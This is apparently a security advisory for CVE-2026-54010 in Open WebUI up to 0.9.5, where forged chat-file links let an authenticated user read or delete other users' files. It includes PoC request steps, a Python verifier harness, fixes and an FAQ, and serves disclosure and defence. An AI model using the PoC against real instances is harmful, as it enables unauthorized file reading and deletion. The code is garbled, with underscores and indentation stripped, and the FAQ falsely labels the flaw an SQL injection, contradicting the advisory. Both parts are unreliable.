CVE-2026-54010: Open WebUI: Forged chat-file link allows cross-user file read and deletion
Summary
Open WebUI v0.9.5 lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.
Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker who knows or obtains a victim fileid can make Open WebUI authorize, through an attacker-owned shared chat:
- reading the victim file via GET /api/v1/files/{id}/content, and - deleting the victim file via DELETE /api/v1/files/{id}.
Root Cause
Client-controlled message file IDs are persisted without file authorization checks:
python backend/openwebui/main.py await Chats.insertchatfiles( chatid, usermessage.get('id'), [ fileitem.get('id') for fileitem in usermessagefiles if fileitem.get('type') == 'file' ], user.id, )
insertchatfiles() stores the provided IDs directly:
python backend/openwebui/models/chats.py ChatFileModel( userid=userid, chatid=chatid, messageid=messageid, fileid=fileid, )
Later, file authorization trusts shared-chat associations:
python backend/openwebui/utils/accesscontrol/files.py sharedchatids = await Chats.getsharedchatidsbyfileid(fileid, db=db) if sharedchatids: accessibleids = await AccessGrants.getaccessibleresourceids( userid=user.id, resourcetype='sharedchat', resourceids=sharedchatids, permission='read', ) if accessibleids: return True
The download endpoint uses this helper:
python backend/openwebui/routers/files.py if file.userid == user.id or user.role == 'admin' or await hasaccesstofile(id, 'read', user, db=db): return FileResponse(filepath, ...)
On affected versions this shared-chat branch is not gated on accesstype (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.
Because the shared-chat branch ignores accesstype, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim fileid; a legitimate read-only share reaches it without any forgery.
PoC
1. Attacker creates or uses a chat they own. 2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level usermessage.files contains:
json [ { "type": "file", "id": "VICTIMFILEID" } ]
3. Backend inserts a chatfile row linking the attacker chat to VICTIMFILEID. 4. Attacker shares the chat and grants read access to themselves or public access. 5. Attacker requests:
text GET /api/v1/files/VICTIMFILEID/content
Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.
Actual: file authorization succeeds through the attacker-controlled shared-chat association.
Local Verification
I verified the bug locally with Open WebUI's real Chats.insertchatfiles() and real hasaccesstofile() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.
Result:
json { "beforechatfilelinkattackercanread": false, "insertsink": { "dbcommitcalled": true, "insertreturnedrows": true, "storedchatids": [ "attacker-chat" ], "storedfileids": [ "victim-file" ], "storeduserids": [ "attacker" ] }, "afterattackersharedchatlinksvictimfileattackercanread": true, "confirmed": true }
PoC:
python #!/usr/bin/env python3 """ Verifier for chat-file link authorization bypass.
This intentionally avoids the app DB because the local Python 3.13 async SQLite stack hangs in this checkout. It still executes Open WebUI's real hasaccesstofile() implementation, with fake model adapters standing in for the DB tables. """
from future import annotations
import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace
def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"
class DummyTyper: def command(self, args, kwargs): return lambda fn: fn
sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))
class FakeFiles: async def getfilebyid(self, fileid, db=None): if fileid == "victim-file": return SimpleNamespace( id="victim-file", userid="victim", meta={}, ) return None
class FakeKnowledges: async def getknowledgesbyfileid(self, fileid, db=None): return []
class FakeGroups: async def getgroupsbymemberid(self, userid, db=None): return []
class FakeChannels: async def getchannelsbyfileidanduserid(self, fileid, userid, db=None): return []
class FakeModels: async def getmodelsbyuserid(self, userid, permission="read", db=None): return []
class FakeChats: def init(self, linked: bool): self.linked = linked
async def getsharedchatidsbyfileid(self, fileid, db=None): if self.linked and fileid == "victim-file": # This mirrors a chatfile row tying victim-file to the attacker's # shared chat. The real insertion sink is Chats.insertchatfiles(). return ["attacker-chat"] return []
class FakeAccessGrants: def init(self, granted: bool): self.granted = granted
async def hasaccess(self, args, kwargs): return False
async def getaccessibleresourceids( self, userid, resourcetype, resourceids, permission="read", usergroupids=None, db=None, ): if ( self.granted and userid == "attacker" and resourcetype == "sharedchat" and "attacker-chat" in resourceids and permission == "read" ): return {"attacker-chat"} return set()
class FakeDb: def init(self): self.added = [] self.committed = False
def addall(self, rows): self.added.extend(rows)
async def commit(self): self.committed = True
class FakeDbContext: def init(self, db): self.db = db
async def aenter(self): return self.db
async def aexit(self, exctype, exc, tb): return False
async def verifyinsertsinkacceptsvictimfileid(): import openwebui.models.chats as chatsmodule
fakedb = FakeDb() chatstable = chatsmodule.Chats
originalcontext = chatsmodule.getasyncdbcontext originalexisting = chatstable.getchatfilesbychatidandmessageid
async def fakeexisting(self, chatid, messageid, db=None): return []
try: chatsmodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) chatstable.getchatfilesbychatidandmessageid = types.MethodType(fakeexisting, chatstable)
inserted = await chatstable.insertchatfiles( chatid="attacker-chat", messageid="attacker-message", fileids=["victim-file"], userid="attacker", ) finally: chatsmodule.getasyncdbcontext = originalcontext chatstable.getchatfilesbychatidandmessageid = originalexisting
return { "insertreturnedrows": bool(inserted), "dbcommitcalled": fakedb.committed, "storedfileids": [getattr(row, "fileid", None) for row in fakedb.added], "storedchatids": [getattr(row, "chatid", None) for row in fakedb.added], "storeduserids": [getattr(row, "userid", None) for row in fakedb.added], }
async def main() -> None: prepareimports()
import openwebui.utils.accesscontrol.files as fileacl
attacker = SimpleNamespace(id="attacker", role="user")
original = { "Files": fileacl.Files, "Knowledges": fileacl.Knowledges, "Groups": fileacl.Groups, "Channels": fileacl.Channels, "Chats": fileacl.Chats, "Models": fileacl.Models, "AccessGrants": fileacl.AccessGrants, }
try: fileacl.Files = FakeFiles() fileacl.Knowledges = FakeKnowledges() fileacl.Groups = FakeGroups() fileacl.Channels = FakeChannels() fileacl.Models = FakeModels()
fileacl.Chats = FakeChats(linked=False) fileacl.AccessGrants = FakeAccessGrants(granted=False) before = await fileacl.hasaccesstofile("victim-file", "read", attacker)
fileacl.Chats = FakeChats(linked=True) fileacl.AccessGrants = FakeAccessGrants(granted=True) after = await fileacl.hasaccesstofile("victim-file", "read", attacker)
insertsink = await verifyinsertsinkacceptsvictimfileid()
result = { "victimfileid": "victim-file", "victimfileowner": "victim", "attackerid": "attacker", "attackerownsfile": False, "insertsink": insertsink, "beforechatfilelinkattackercanread": before, "afterattackersharedchatlinksvictimfileattackercanread": after, "confirmed": ( before is False and after is True and insertsink["insertreturnedrows"] is True and insertsink["storedfileids"] == ["victim-file"] and insertsink["storeduserids"] == ["attacker"] ), "sink": "Chats.insertchatfiles() accepts caller-supplied fileids without checking file ownership/read access", } print(json.dumps(result, indent=2, sortkeys=True)) finally: for name, value in original.items(): setattr(fileacl, name, value)
if name == "main": asyncio.run(main())
Recommended Fix
Before calling Chats.insertchatfiles(), filter usermessage.files to files the caller owns or can read:
python allowedfileids = [] for fileid in requestedfileids: file = await Files.getfilebyid(fileid) if file and (file.userid == user.id or user.role == 'admin' or await hasaccesstofile(fileid, 'read', user)): allowedfileids.append(fileid)
Also consider enforcing this inside Chats.insertchatfiles() so future call sites cannot create unauthorized chatfile associations.
Additionally, the shared-chat branch of hasaccesstofile() should honour accesstype, so a read grant cannot satisfy the write check used by file deletion.
Consolidation
Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:
- Cross-user file READ via a forged chatfile association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insertchatfiles() so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring accesstype (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour accesstype.
Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file. This vulnerability is fixed in 0.9.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Upgrade
Upgrade
Open WebUIto a version that resolves this vulnerability.Fixed in >= 0.9.6 - Configuration
In the shared-chat branch of has_access_to_file(), ensure the authorization logic honors the passed access_type so a read grant cannot satisfy the write check used by file deletion. (Reported in affected versions <= 0.9.5; fixed by #24755.)
Open WebUI (file authorization: has_access_to_file() shared-chat branch) access_type handling for shared_chat authorization checks = Honor access_type (do not hardcode permission='read' for the shared-chat branch) - Configuration
Update Chats.insert_chat_files() to gate chat_file row creation: filter/allow only file_ids that the caller owns or can read before inserting. (Fixed by #25054; material also suggests enforcing this so future call sites cannot create unauthorized chat_file associations.)
Open WebUI (Chats.insert_chat_files) chat_file association creation authorization = Gate insertion so caller can only link files they own or can read
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54010?
The severity of CVE-2026-54010 is rated as high with a CVSS score of 8.3.
How do I fix CVE-2026-54010?
To fix CVE-2026-54010, ensure proper access controls are implemented to restrict file access based on user permissions.
What impacts can CVE-2026-54010 have on a system?
CVE-2026-54010 can lead to unauthorized access to sensitive files due to improper validation of user permissions.
Who is affected by CVE-2026-54010?
Authenticated users in Open WebUI `v0.9.5` can exploit CVE-2026-54010 if proper access controls are not enforced.
What type of vulnerability is CVE-2026-54010?
CVE-2026-54010 is categorized as an SQL Injection vulnerability affecting file access permissions.